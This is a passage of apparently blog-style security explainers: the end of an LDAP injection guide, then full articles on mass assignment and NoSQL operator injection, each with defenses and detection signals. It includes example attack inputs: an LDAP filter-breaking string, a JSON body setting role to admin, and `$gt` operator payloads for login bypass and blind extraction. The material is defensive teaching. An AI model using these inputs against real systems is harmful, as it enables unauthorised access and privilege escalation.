**Escaping for the filter but building the DN by concatenation.** A distinguished name and a search filter use different escaping rules. Code that carefully escapes filter input, then pastes user data into a DN with filter escaping or none at all, reopens the hole through the DN path defined by RFC 4514. 2. **Blocklisting characters instead of encoding them.** Stripping parentheses and asterisks rejects legitimate input and still misses the backslash, which is both a literal users type and the escape character of the grammar. Encode with the standard function rather than trying to enumerate bad characters. 3. **Trusting client-side validation.** A pattern check in the browser stops an honest user from typing a stray asterisk. It stops no attacker, who bypasses the page and speaks to the endpoint directly. Validation that matters runs on the server. 4. **Treating a returned entry as a passed password.** The single most damaging design mistake is inferring authentication from the existence of a search result. Authentication must come from a successful bind with the supplied credentials. 5. **Leaking verbose directory errors.** Detailed error text tells a blind attacker whether each probe matched, turning a slow guess into a fast one. Return a generic failure and keep the detail in server-side logs. Teams often assume that because the directory is internal and the login page is behind a corporate boundary, filter injection does not matter. Directory-backed logins are frequently reachable from partner portals, VPN endpoints, and self-service reset flows that face outward. Treat every filter built from input as reachable and escape it regardless of where you believe it sits. ## How LDAP injection became a known class Directory services predate most modern web frameworks, and the pattern of building a filter by pasting strings together dates from an era when the directory and the application often ran on the same trusted network. As directory-backed single sign-on spread and login forms moved onto the public web, the same concatenation habit followed the code outward, and the filter grammar became an attack surface. The technique was formalized alongside the broader injection family as web security matured. OWASP catalogued it as a distinct attack, MITRE assigned it CWE-90, and testing guides gave it a repeatable methodology. The reason it persists is not that the defense is hard, because RFC 4515 escaping is a solved problem with library support on every major platform. It persists because LDAP is unfamiliar territory for many developers, the escaping rules differ from the SQL rules they already know, and directory-backed features often ship with less review than the flashier parts of an application. ## Escaping in practice The abstract advice to escape filter metacharacters becomes concrete once you look at what escaping actually does. RFC 4515 defines an escape form where each special byte is replaced by a backslash followed by its two-digit hexadecimal value. An asterisk becomes `\2a`, an opening parenthesis becomes `\28`, a closing parenthesis becomes `\29`, and a backslash becomes `\5c`. The NUL byte becomes `\00`. After this transformation, an input of `*)(uid=*` no longer contains any character the parser reads as structure. The parser sees a literal string of escaped bytes and matches it, or fails to match it, as ordinary data. The attacker's parentheses and wildcards have been demoted back to text. Two properties make this reliable when it is done correctly. The escaping is applied to each piece of user input individually, right before it is placed into the filter, so nothing downstream can reintroduce an unescaped character. And the backslash itself is escaped first, so an attacker cannot smuggle in a partial escape sequence that the parser later completes into a live metacharacter. Getting the order wrong, escaping parentheses but forgetting the backslash, is one of the subtle ways a hand-rolled encoder fails while appearing to work in casual testing. The same logic extends to distinguished names, with a different character set. RFC 4514 governs DN escaping, where characters like the comma, plus sign, quotation mark, and leading or trailing spaces carry structural meaning. Code that constructs a DN from user input, for example to look up an entry by its full path, must use the DN escaping rules and not the filter rules. Mixing them is a frequent and quiet source of residual injection, because the filter path looks defended while the DN path stays open. ## Frequently asked questions **Is LDAP injection still relevant if we use single sign-on?** Yes. Many single sign-on and directory-backed login flows build search filters from the identifier a user supplies. Federation protocols on top do not remove the underlying filter if the identity provider still constructs one from input. Escape the filter regardless of the protocol wrapped around it. **Does using HTTPS or a web application firewall stop LDAP injection?** No. HTTPS protects data in transit and has no effect on how the server assembles a filter. A firewall may catch some obvious payloads, and it is a supplement rather than a fix. The reliable defense is correct escaping in the code that builds the filter. **Can LDAP injection lead to more than a login bypass?** It can. Beyond bypassing authentication, an attacker can enumerate usernames, group memberships, email addresses, and any attribute the bind account may read. Blind techniques can reconstruct attribute values character by character even when no output is displayed. **Why can I not simply parameterize the filter like a SQL query?** Most LDAP libraries do not offer a compiled-filter primitive equivalent to a prepared SQL statement. The practical substitute is to escape each piece of user input with the library's RFC 4515 encoder before it enters the filter string, and to escape DN components separately with the RFC 4514 rules. **Is the salt-style trick of a random value any help here?** No. That belongs to password storage, not to query construction. LDAP injection is a query-grammar problem, and the fix is neutralizing filter metacharacters, scoping the bind account, and verifying credentials with a bind. **How do I test an application for LDAP injection safely?** Against systems you are authorized to test, submit filter metacharacters such as a lone parenthesis or an asterisk into fields that reach the directory and observe result counts, errors, and login behavior. The OWASP Testing Guide provides a structured methodology for directory-backed inputs. **What is the single highest-value fix if I can only do one thing?** Route every piece of user input through the platform's dedicated LDAP filter-escaping function before it touches a filter string, and verify logins with a bind rather than a search result. Those two changes remove the most common and most damaging paths at once. LDAP injection carries the same weight as any authentication flaw because it can end in a login bypass against a directory that guards the whole organization. Attackers catalog which login and search endpoints run on directories, and a filter built by concatenation is a reliable target. If you want to see how these directory and injection techniques show up in real exploitation data, our Exploit Intelligence dashboard tracks the vulnerabilities and access patterns attackers are actually using. Escape your filters, bind to verify credentials, and scope the account behind the query, and the endpoint stops being an easy win. ## Related guides - [SQL Injection Explained](/sql-injection-explained) - [Command Injection Explained](/command-injection-explained) - [Active Directory Security Basics](/active-directory-security-basics) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: LDAP Injection (OWASP): https://owasp.org/www-community/attacks/LDAP_Injection - OWASP Testing Guide: Testing for LDAP Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection - MITRE CWE-90: Improper Neutralization of Special Elements used in an LDAP Query (MITRE): https://cwe.mitre.org/data/definitions/90.html --- ## Mass Assignment: Binding Untrusted Fields to Your Objects > How mass assignment lets attackers set fields you never meant to expose, why auto-binding is the cause, and how allowlists and DTOs shut it down. - URL: https://blog.pwnsy.com/mass-assignment-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: mass-assignment, web-security, api-security, owasp, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Mass assignment happens when a framework auto-binds every field in a request body to an object's properties, including fields the developer never meant the user to control. - By adding an unexpected field to a request, an attacker sets internal attributes like a role, an account balance, or an ownership flag. - The root cause is convenience: helpers that map the whole request onto a model save typing and quietly expose privileged fields. - The fix is to bind only an explicit allowlist of permitted fields, usually through a dedicated input object, and never map raw request bodies straight onto persistent models. ### Key Takeaways - Mass assignment is an over-permissive binding bug, closely related to broken access control, and it is a named API security risk. - The dangerous fields are the ones the user should never set: role, permissions, verification status, prices, foreign keys, and internal flags. - Blocklisting fields to ignore is fragile because a new sensitive field added later is bound by default until someone remembers to block it. - An allowlist or a data transfer object inverts the default: only named, user-editable fields are accepted, and everything else is dropped. - Server-side authorization still matters, because some fields are safe for one role and dangerous for another. Modern web frameworks are built to save you keystrokes. One of the most beloved conveniences is the ability to take an incoming request and bind all of its fields onto an object in a single line. Create a user from the request body, update a profile from the submitted form, done. It feels clean. It is also, done naively, a direct route to privilege escalation. Mass assignment is the vulnerability hiding in that convenience. When a framework maps every field of a request onto an object's properties without restriction, the user gets to set properties the developer never intended to expose. The request carries a field the form never showed, and the object absorbs it. ## The core idea Say a signup endpoint creates a user from the submitted JSON. The developer expects a name, an email, and a password. The framework binds the whole body onto the user model, so the created record's `name`, `email`, and `password` come straight from the request. So far so good. Now the attacker looks at the user model and guesses it has more fields than the form shows, for instance a `role` field that defaults to a normal user. They add it to the request: ``` { "name": "Attacker", "email": "a@example.com", "password": "…", "role": "admin" } ``` If the endpoint binds the entire body, the new account is created with `role` set to admin. The form never offered that field. The attacker supplied it anyway, and the auto-binding accepted it without question. The same pattern sets an account's verified flag, changes a balance, reassigns ownership through a foreign key, or flips any internal attribute the model happens to have. On MITRE ATT&CK, exploiting an internet-facing app this way maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/). ## Why it is so easy to introduce Mass assignment is rarely written on purpose. It arrives through the framework's default happy path. The one-line binder is in every tutorial. It works perfectly in a demo, where the model has only the fields the form shows. The gap opens later, when someone adds a privileged field to the model, a role, a flag, an internal reference, and the binder starts accepting it silently because binders accept everything by default. That is the heart of the danger. The vulnerability is introduced by adding a field to a model, somewhere else, weeks later. Nothing at the endpoint changed. The binder simply widened on its own. This is why mass assignment survives code review so often. A reviewer reading the create-user endpoint sees a clean one-line binding and a controller that looks correct, because at the moment of review the model may hold only safe fields. The risk is latent. It activates the day a privileged field joins the model, and nobody re-reviews the old endpoint when that happens. The unsafe behavior was baked in at the binding site, waiting for a model change to arm it. Security controls that depend on nobody ever adding a sensitive field to a shared model are controls that will eventually fail, because models grow and sensitive fields are exactly the kind you tend to add. Auto-binding maps whatever the request contains. Every new field you add to a model becomes bindable by default until someone explicitly excludes it. That inverts the safe posture. You want a system where new fields are closed until deliberately opened, not open until someone remembers to close them. ## The fields that hurt Not every over-bound field is dangerous. The impact depends on which internal attribute the attacker can reach. | Field type | Example | Impact if attacker sets it | |---|---|---| | Authorization | role, permissions, is_admin | Privilege escalation | | Account state | is_verified, is_active, email_confirmed | Bypassing checks and gates | | Financial | balance, price, discount, credit | Fraud and theft of value | | Ownership | owner_id, tenant_id, user_id | Reassigning records across accounts | | Workflow | status, approved, moderation_state | Skipping approval or review steps | | Timestamps and audit | created_at, id | Tampering with integrity and history | The through-line is that these are server-controlled properties. They exist so the application can manage its own state. Letting a request set them by accident hands that control to the user. ## Relationship to IDOR and access control Mass assignment lives in the same neighborhood as [IDOR](/idor-explained). Both are failures to constrain what a user may touch. IDOR is about which object a request reaches; mass assignment is about which fields of an object a request may set. An app can get object-level authorization right and still lose to mass assignment if it lets the user write privileged fields on an object they legitimately own. Setting your own account's role to admin needs no cross-object access at all. Because of that overlap, the two are worth auditing together. An endpoint is only safe when it controls both the object the user may act on and the fields the user may change on it. ## How to find it in a codebase Mass assignment is one of the more findable bugs during review, because it has a recognizable code smell: a request object flowing directly into a model constructor, an update call, or a merge. Look for the single-line binders. Any place that constructs or updates a persistent object from the whole request body, spreading it, merging it, or passing it wholesale, is a candidate. The question to ask at each site is simple: what is the full set of fields this object has, and can the user set any of them that they should not. If the model has a privileged field and the binding is unrestricted, you have found it. The next step is to enumerate the model, not the form. Developers reason about the fields the form shows, but the binder acts on the fields the model has. List every property of the target model, including the ones no user interface exposes, and treat each as something the request could try to set. The gap between what the form shows and what the model holds is where the exploitable fields hide. On APIs, watch for update endpoints that accept partial objects. Partial-update semantics, where any subset of fields in the body gets applied, are especially prone to this, because there is no fixed form defining the expected shape. An attacker simply adds the field they want to a legitimate partial update. Reviewing these endpoints against an explicit allowlist of editable fields turns a guessing game into a closed decision. ## How to actually defend against mass assignment The reliable defenses share one shape: accept only the fields you have explicitly decided are user-editable, and drop the rest. 1. **Bind an allowlist, not the whole body.** For every write endpoint, name the exact fields a user may set and bind only those. Everything not on the list is ignored. This is the single most effective control and it fails closed when a new field appears. 2. **Use data transfer objects.** Define an input type that contains only the user-editable fields, deserialize the request into it, and map from it to your persistent model in code. The DTO becomes a hard boundary the request cannot reach past. Privileged fields simply do not exist on it. 3. **Separate input models from persistence models.** Do not let request payloads deserialize directly onto database entities. Keep the shape the user sends distinct from the shape you store, and translate between them deliberately. 4. **Set server-controlled fields on the server.** Assign role, ownership, timestamps, status, and balances in application code from trusted sources, never from the request. If the value comes from the client, treat it as unset. 5. **Layer authorization on top.** Some fields are editable by an admin and not by a normal user. Field-level checks let the same endpoint accept a field from one role and reject it from another. This is where mass-assignment defense meets [least privilege](/least-privilege-explained) and sound [secure coding practices](/secure-coding-practices). 6. **Prefer allowlists to blocklists.** Excluding known-sensitive fields works until someone adds a new sensitive field and forgets to exclude it. An allowlist has the opposite failure mode: forget to add a field and it is merely unavailable, not exposed. The whole class collapses if you flip one default. Instead of binding everything and subtracting what is dangerous, bind nothing and add what is safe. A DTO or an explicit field allowlist does exactly that, so a privileged field added to your model next month is closed on arrival rather than open until noticed. ## The same bug across frameworks Mass assignment has a different name in almost every ecosystem, which hides how common it is. The mechanism is identical: a helper that copies request fields onto an object without a fixed list of what is allowed. In the Ruby on Rails world the concept is strong parameters, and the framework now asks you to permit the fields you accept, precisely because unrestricted attribute assignment caused real damage. In Python, model forms and object-relational mappers offer to populate an instance from a dictionary, and passing request data straight in reproduces the flaw. In the Java and Spring world the term is data binding, and binder configuration decides which fields a request may set. In the JavaScript world the shape is an object spread or an assign call that merges a request body into a record before saving, or an ODM update that takes an arbitrary object. In PHP frameworks the same idea appears as fillable and guarded attributes on a model. The lesson across all of them is that the vulnerability is not a property of one language. It is a property of the pattern: bind the whole request, trust the client to send only expected fields. Wherever you find that pattern, the target model's privileged fields are reachable, and the fix is the same one described below regardless of the framework's name for it. ## A worked example of the discovery Walking the attacker's path makes the defense concrete. Suppose a profile-update endpoint accepts a JSON body and applies it to the current user's record. The form on the site sends a display name and a short bio, so a casual look at the traffic shows only those two fields. The tester's first question is what other fields the underlying record has. They do not guess from the form, they reason about the model. A user record usually carries more than a profile page shows: a role or permission field, a verified or active flag, an identifier, timestamps, perhaps a tenant or owner reference. Any of these is a candidate. The tester adds one to the update request, for instance a role field set to a privileged value, and resends the otherwise legitimate update against their own account. If the response reflects the new role, or a follow-up read shows it applied, the endpoint binds the whole body and the finding is confirmed. What makes this severe is that it needs no access to anyone else's data. The attacker updates their own record, which they are fully authorized to do, and the over-permissive binding lets that update reach a field the server was supposed to own. Object-level authorization was never the gap. Property-level authorization was. ## Detection signals Mass assignment is more often caught in code review than in traffic, and there are runtime signals worth watching too. **In review, follow the request into the model.** Any site where a request body is spread, merged, or passed wholesale into a constructor, an update, or a save is a candidate. The reliable test is to list the target model's full set of fields and ask whether the caller could set any privileged one. The gap between the fields the form shows and the fields the model holds is where the exploitable ones live. **In logs, watch for unexpected fields in write requests.** A request body that carries a field the client UI never sends, especially a role, a flag, a price, or an identifier, on an endpoint that binds broadly, is the footprint of a probe. Logging the keys present in write payloads and alerting on privileged names surfaces attempts. **Watch privileged fields changing outside their intended path.** A role, a verified flag, or a balance that changes through a general profile or settings endpoint, rather than the dedicated administrative flow that is supposed to own it, is a strong signal the field was set by binding. Auditing writes to sensitive columns with the endpoint that made them turns this into a monitorable event. ## Defense approaches compared The reliable defenses all share the shape of naming what is allowed. They differ in where the boundary sits and how well it holds as the model grows. | Approach | How it works | Fails when a new field appears | Strength | |---|---|---|---| | Blocklist (guard fields) | Bind everything except named sensitive fields | New sensitive field is bound until someone excludes it | Weak, fails open | | Allowlist (permit fields) | Bind only named user-editable fields | New field is simply unavailable, never exposed | Strong, fails closed | | Data transfer object | Deserialize into a type that has only editable fields | Privileged field does not exist on the type to bind | Strong, hard boundary | | Separate input and persistence models | Translate request shape to storage shape in code | New storage field is not on the input shape | Strong, clearest separation | The table's key column is the middle one. A blocklist fails open: forget to exclude a new sensitive field and it is exposed. Every other approach fails closed: forget to add a field and it is merely unavailable until someone deliberately opens it. That difference in failure mode is the whole argument for allowlists and dedicated input types over blocklists. ## Why it persists despite framework guards Several popular frameworks added protections after mass assignment caused visible harm, and the bug keeps appearing anyway. Understanding why explains where to focus. The first reason is that the guards are opt-in or easy to widen. A framework can ask you to permit fields, and it also offers a shortcut that binds everything, and under deadline pressure the shortcut is the path taken. A permit list that names every field, or a call that waves the whole body through, restores the original problem inside a framework that was trying to prevent it. The second reason is that the risk is latent. The endpoint is written when the model is small and safe, so review sees nothing wrong. The danger arrives later, through a change somewhere else, when a privileged field joins the model and the existing binding silently starts accepting it. Nobody re-reviews the old endpoint because nothing at the endpoint changed. A control that depends on no one ever adding a sensitive field to a shared model is a control that will eventually fail, because models grow and sensitive fields are exactly the kind teams add. The third reason is nested and related objects. Even a careful allowlist on the top-level fields can miss a nested object or an associated record that the binder also populates. If a request can reach into a related model through the same bind, the privileged field may live one level down, out of sight of a permit list written only for the parent. Auditing the full graph the binder can touch, including nested models beyond the immediate one, is what closes this. Mass assignment is rarely introduced at the endpoint. It is armed elsewhere, later, when someone adds a role or a flag to a model an old binding still accepts wholesale. Because the binding site did not change, no review is triggered. The durable fix is to make the binding name its fields, so a new privileged field is closed on arrival instead of open until noticed. ## Frequently asked questions **Is mass assignment the same as broken access control?** It is a specific form of it. Broken access control is the broad category of a user reaching data or actions they should not. Mass assignment is the property-level case: the user writes fields of an object they should not be able to set. OWASP places it under the object property level authorization theme for exactly that reason. **How is it different from IDOR?** IDOR is about which object a request reaches: swapping an identifier to touch someone else's record. Mass assignment is about which fields of an object a request may set: adding a role field to an update of your own record. An app can get object-level authorization right and still lose to mass assignment, because setting your own account's role to admin needs no cross-object access at all. See [IDOR Explained](/idor-explained). **Why not simply blocklist the dangerous fields?** Because a blocklist fails open. It protects only the fields someone thought to list, and the day a colleague adds a new sensitive field to the model, the binder accepts it until someone remembers to exclude it. An allowlist has the opposite failure mode: a forgotten field is unavailable, not exposed. The safe default is closed. **Do random or hidden field names help?** No more than obscurity ever does. An attacker reads the model from source, from an error message, from a mobile app, or by trying common names like role, is_admin, and owner_id. If the binding accepts the field, the name being non-obvious only slows the discovery. **Does an API with partial updates make this worse?** Yes. Partial-update endpoints, where any subset of fields in the body is applied, have no fixed form defining the expected shape, so there is nothing to compare the request against. An attacker adds the field they want to an otherwise valid partial update. These endpoints are worth reviewing against an explicit allowlist first. **Where should server-controlled fields be set?** In application code, from trusted sources, never from the request. Role, ownership, timestamps, status, and balances should be assigned on the server. If a value like that arrives in the request body, the safe move is to ignore it and set the field yourself. **Can authorization checks replace an allowlist?** They complement it. Some fields are editable by an admin and not by an ordinary user, so field-level authorization lets the same endpoint accept a field from one role and reject it from another. That still sits on top of an allowlist that defines which fields exist as inputs at all. Use both: the allowlist bounds the surface, the authorization check decides who may set what within it. Mass assignment is a convenience that quietly widens over time. The endpoint you wrote safely today becomes exploitable the day a colleague adds a role field to the model, with no change to your code and no warning. Defend it by refusing the convenience where it counts: accept a named list of user-editable fields, route requests through a dedicated input object, and set every privileged attribute server-side. Do that and the request can carry any extra field it likes, because your code was never going to read it. To track how integrity-affecting flaws move from disclosure to exploitation, cross-reference our Exploit Intelligence dashboard. ## Related guides - [IDOR Explained](/idor-explained) - [API Abuse Explained](/api-abuse-explained) - [Secure Coding Practices](/secure-coding-practices) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: Mass Assignment Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html - OWASP Top 10: A08 Software and Data Integrity Failures (OWASP): https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/ - MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/ --- ## NoSQL Injection: Operator Injection in Document Databases > How NoSQL injection works in document and query databases, operator injection, authentication bypass, blind extraction, and how parameterization stops it. - URL: https://blog.pwnsy.com/nosql-injection-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: nosql-injection, web-security, injection, appsec, owasp - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - NoSQL injection happens when user input is spliced into a document-database query, letting an attacker change the query's logic instead of just its data. - The signature move is operator injection: smuggling query operators like a match-anything comparison into a field the developer expected to hold a plain value. - It leads to authentication bypass, data extraction, and in query languages that evaluate code, server-side code execution. - The fix is the same discipline that stops SQL injection: keep user input as data through parameterization and strict type and shape validation, never as query structure. ### Key Takeaways - NoSQL databases removed SQL syntax, not the injection class. Untrusted input mixed into query structure is dangerous in any query language. - Operator injection abuses the fact that many drivers accept rich objects where the developer assumed a string, turning a login field into a query operator. - Authentication bypass is the classic impact: a comparison operator that matches any stored value walks past a password check. - Blind and time-based techniques extract data one condition at a time even when the app returns no query output. - Parameterized queries, strict input typing, and disabling server-side code evaluation remove the structural injection path. The move away from SQL was supposed to leave injection bugs behind. It did not. Document and key-value databases dropped the SQL grammar, but they kept the thing that makes injection possible: queries assembled at runtime from data the user controls. Change the grammar and the vulnerability moves with it. NoSQL injection is that vulnerability in document stores and their query languages. The syntax looks different and the payloads look different, yet the root cause is identical to its older cousin. Untrusted input is allowed to alter the shape of a query rather than sit inside it as a value. ## The core idea A document database query is usually built from structured objects, not a string of SQL. A login lookup might ask the database to find a user whose username and password both equal the submitted values. In code that often looks like a query object built directly from request fields. The trouble starts because many drivers and APIs accept a rich object anywhere they accept a value. The developer expects the password field to arrive as a string. The attacker sends an object instead, and that object carries a query operator. The database is happy to evaluate it. The field that was meant to hold `hunter2` now holds an instruction. Consider a query built like this, where `username` and `password` come straight from the request body: ``` db.users.find({ username: input.username, password: input.password }) ``` If the request body is sent as JSON or form-encoded in a way that lets a field become an object, the attacker submits a password value that is really a match-anything comparison. The query stops meaning "password equals the submitted string" and starts meaning "password is greater than nothing", which every stored password satisfies. The check passes without knowing any password. ## Operator injection The defining technique of NoSQL injection is operator injection. Document query languages express logic through operators: equality, comparison, negation, regular-expression match, existence. These operators normally live in the query the developer wrote. Operator injection gets one of them into a place the developer meant to be a plain value. The mechanics depend on how the request is parsed: - **Form and query-string parsing.** Some frameworks turn `field[$gt]=` into a nested object automatically. A field the developer read as a string becomes an object carrying a comparison operator. - **JSON bodies.** An API that accepts JSON will happily deserialize a field into an object. Sending an object where a string was expected is trivial. - **Regular-expression operators.** A match operator with an attacker-supplied pattern turns an exact lookup into a pattern search, which enables both bypass and extraction. The common thread is a type confusion. The code assumed a scalar and received a structure. On MITRE ATT&CK, exploiting an internet-facing app this way maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/). The dangerous moment is the boundary where a request field becomes a query field. If a value that should be a string can arrive as an object, an attacker can substitute an operator for the value. Pin every query input to its expected primitive type at that boundary, before it ever reaches the database driver. ## What an attacker gets from it The impact ladder mirrors SQL injection, adjusted for the data model. | Impact | How it arises | Rough severity | |---|---|---| | Authentication bypass | A comparison or negation operator matches any stored credential | High | | Unauthorized data read | Injected operators broaden a filter to return records the user should not see | High | | Blind data extraction | Boolean or time-based conditions leak data one bit at a time | High | | Denial of service | An expensive regular expression or a slow evaluated expression ties up the database | Medium | | Server-side code execution | Query features that evaluate code accept an attacker expression | Critical | The last row deserves a flag. Some document databases historically offered ways to run arbitrary expressions inside a query, for example a where-style clause that evaluates code against each document. If user input reaches such a clause, the injection stops being about data and becomes code execution on the database engine. Those features should be disabled unless there is a compelling reason to keep them. ## Blind extraction Not every injectable query returns its output to the attacker. A login form tells you only success or failure. That single bit is enough. Blind NoSQL injection extracts data by asking yes-or-no questions the app answers through its behavior. Does the admin password start with the letter a? Submit an operator that is true only in that case and watch whether the login succeeds. Repeat across each position and each candidate character and the full value falls out, one comparison at a time. When there is no visible success signal, timing works instead: force the database to do expensive work only when a condition holds, and measure the response delay. Blind extraction is slower than reading a response directly, and automated tooling makes it routine. Treating a bug as low risk because it returns no data is a mistake. ## How it differs from SQL injection in practice The family resemblance is strong, and the differences are worth naming because they change how you test and defend. The first difference is the payload shape. SQL injection typically breaks out of a string literal with quotes and comments, so testers watch for quote characters. NoSQL operator injection often carries no special characters at all. The payload is a well-formed object with an operator key, which slides past filters built to catch SQL metacharacters. A reviewer looking only for quotes and semicolons will miss it. The second difference is the parsing surface. SQL injection usually enters through a single string that gets concatenated. NoSQL injection can enter through the structure of the request itself, because the body is deserialized into objects before your code sees it. The vulnerability sometimes lives in how the framework parses `field[$gt]` or a nested JSON object, one layer below the query code, which makes it easy to overlook during a line-by-line read of the query builder. The third difference is the language surface area. Relational databases share a broadly common SQL dialect. Document databases each ship their own operators, aggregation stages, and evaluation features, so the injectable surface varies by product. A control that assumes one operator vocabulary can leave another database's operators wide open. What does not differ is the fix. In both worlds, the answer is to keep user input as typed data and out of query structure. The specifics of the driver change; the principle does not. ## Why input filtering is not enough The reflex is to strip suspicious characters or reject inputs that contain a dollar sign or a dot. This is brittle for the same reasons blocklists fail everywhere. Encodings differ, operator names vary between databases, and the parsing layer may reconstruct a blocked structure after your filter has run. Filtering also attacks the symptom. The real defect is that input can become query structure at all. Validation still matters, but as a positive control: confirm the input is the type and shape you expect, and reject everything else. That is a different posture from hunting for known-bad strings. See the [Input Validation Guide](/input-validation-guide) for the allowlist mindset this depends on. ## How to actually defend against NoSQL injection The controls that hold up keep user input as data and never let it define query logic. 1. **Parameterize queries.** Use the driver's mechanism for binding values so input is passed as data, never concatenated or merged into query structure. Build query objects from typed variables, not from raw request objects. 2. **Type and shape every input at the boundary.** If a field must be a string, cast and verify it is a string before it reaches a query. Reject objects, arrays, and operators where a scalar belongs. A schema validator at the edge closes most operator-injection paths in one place. 3. **Do not spread request bodies directly into queries.** Building a query object by copying the whole request body invites unexpected fields and operators. Pull out named fields with known types. 4. **Disable server-side code evaluation.** Turn off query features that evaluate arbitrary expressions or JavaScript unless a specific need justifies them, and keep user input out of them entirely. 5. **Constrain regular-expression inputs.** If a feature legitimately needs pattern search, do not let the user supply a raw pattern. Escape it or offer a fixed set of safe options. 6. **Apply least privilege to the database account.** The application's database credentials should grant only the operations the app needs, so a successful injection has a smaller reach. Every injection class, SQL and NoSQL alike, comes down to one boundary: does user input stay data, or can it become instruction. Parameterize so it stays data, validate its type so it cannot masquerade as structure, and the specific query language stops mattering. ## A worked authentication bypass Following the classic login bypass step by step shows how a type confusion becomes a full walk past the password check. The application exposes a login form that takes a username and a password. On the server, the handler builds a query object asking the database to find a user whose username field equals the submitted username and whose password field equals the submitted password. When both fields arrive as ordinary strings, the query means what the developer intended: return the one user whose stored password matches exactly. The attacker changes the shape of the request. Instead of sending the password as a string, they send it as an object carrying a comparison operator, for example a `$gt` operator compared against an empty value, which reads as password is greater than nothing. Because the driver accepts a rich object anywhere it accepts a value, the query object is now asking the database to find a user whose password is greater than an empty string. Every stored password satisfies that condition, so the database returns a matching user. The handler sees a returned record, concludes the credentials were valid, and grants a session. The attacker logged in with no knowledge of any password. The same trick with the username field, or with a match-anything regular-expression operator, lets the attacker steer which account they authenticate as. Aim the operator so the first matching user is an administrator and the bypass becomes an administrator login. Nothing in the payload contained a quote, a semicolon, or any of the metacharacters a SQL-oriented filter watches for. The payload was a well-formed object, and the entire attack lived in sending a structure where the code expected a scalar. A defender watching for quotes, semicolons, and comment markers sees nothing suspicious in a NoSQL operator-injection payload, because it contains none of them. The malicious content is the type of the value, an object instead of a string, and its operator key. This is why filtering for SQL metacharacters gives false confidence here. The control that works is pinning each input to its expected primitive type at the boundary, so an object can never stand in for a string in the first place. ## Detection signals Operator injection has a different footprint from SQL injection, so the signals to watch for differ too. - **Request fields arriving as objects or arrays where scalars are expected.** A login or lookup field that deserializes into a structure carrying an operator key is the direct fingerprint of an attempt. Logging and alerting on type mismatches at the input boundary surfaces it. - **Operator keys in user input.** Field names beginning with the operator marker, such as a `$` prefix, or bracket-nested parameters like `field[$gt]` in form and query-string data, indicate someone is probing the parsing layer. - **Authentication successes without a matching credential.** A login that succeeds where no stored password should have matched, visible in application invariants, points to a bypass that already worked. - **Regular-expression values in fields meant to be exact.** A field that suddenly carries a pattern rather than a literal, especially a broad or expensive pattern, can signal both bypass and blind-extraction attempts. - **Timing patterns consistent with blind extraction.** A sequence of requests to the same endpoint with response delays that cluster around a threshold can indicate time-based extraction probing one condition at a time. - **High request volume against a single lookup.** Blind boolean extraction asks many yes-or-no questions, so a burst of similar requests differing only in a small part of one field is a hint that data is being walked out one character at a time. ## Blind extraction in more detail The login case shows bypass. Blind extraction shows how the same class leaks data even when the application returns nothing but success or failure. The attacker treats the application's behaviour as a one-bit oracle. To read a secret value one character at a time, they submit an operator that is true only when the value satisfies some condition, for example a regular-expression anchor testing whether the target field begins with a particular character. If the login succeeds, the guess was right. If it fails, the guess was wrong. By walking through candidate characters at each position, the attacker reconstructs the whole value, comparison by comparison. When there is no visible success or failure difference, timing supplies the oracle instead. The attacker crafts a condition that forces the database into expensive work only when the condition holds, then measures the response delay. A slow response means the condition was true, a fast one means it was false, and the same character-by-character walk proceeds on the strength of the clock rather than a visible result. Blind extraction is slower than reading a response directly, and automated tooling makes it routine, so a bug that returns no data is still a data-disclosure bug. ## How NoSQL injection evolved The vulnerability arrived with the databases. As document and key-value stores spread, applications began building queries from structured objects assembled out of request data, and the injection class followed the query-building pattern into the new grammar. Early exploitation focused on the authentication bypass, because it was dramatic and required nothing more than sending an object where a string was expected. Understanding matured toward the underlying cause, which is the type confusion at the request boundary, and the defensive guidance converged on the same discipline that addresses SQL injection: keep user input as typed data and out of query structure. Some document databases historically shipped features that evaluate code inside a query, which raised the ceiling of impact from data disclosure to code execution, and guidance moved toward disabling those features unless a specific need justifies them. The grammar changed, and the root cause and the fix stayed the same. ## Operator families to keep out of user values Different operator families produce different impact when they reach a value the developer expected to be a plain string. The table names the common ones. | Operator family | Example intent | Impact when injected | |---|---|---| | Comparison | Greater-than or not-equal against a value | Authentication bypass, broadened filters | | Regular expression | Pattern match on a field | Bypass and blind extraction | | Existence or type | Whether a field exists or is a given type | Filter manipulation, enumeration | | Logical | Combine conditions | Rewriting query logic entirely | | Evaluated expression | Run code against each document | Server-side code execution | The last family is the most severe, because it turns a data question into code running on the database engine. Those features should be disabled unless there is a compelling reason to keep them, and user input should never reach them. ## Common misconceptions The first misconception is that leaving SQL behind left injection behind. Document databases dropped the SQL grammar and kept the runtime assembly of queries from user-controlled data, so the injection class moved with the query pattern rather than disappearing. The second misconception is that filtering dangerous characters is a defense. NoSQL operator injection often carries no special characters at all, so a blocklist tuned for SQL metacharacters misses it entirely. The real defect is that input can become query structure, and only typing the input as data closes it. The third misconception is that a bug returning no data is low risk. Blind and time-based techniques extract data one condition at a time even when the application shows only success or failure, so a silent endpoint is still exploitable. Treating it as minor is a mistake. 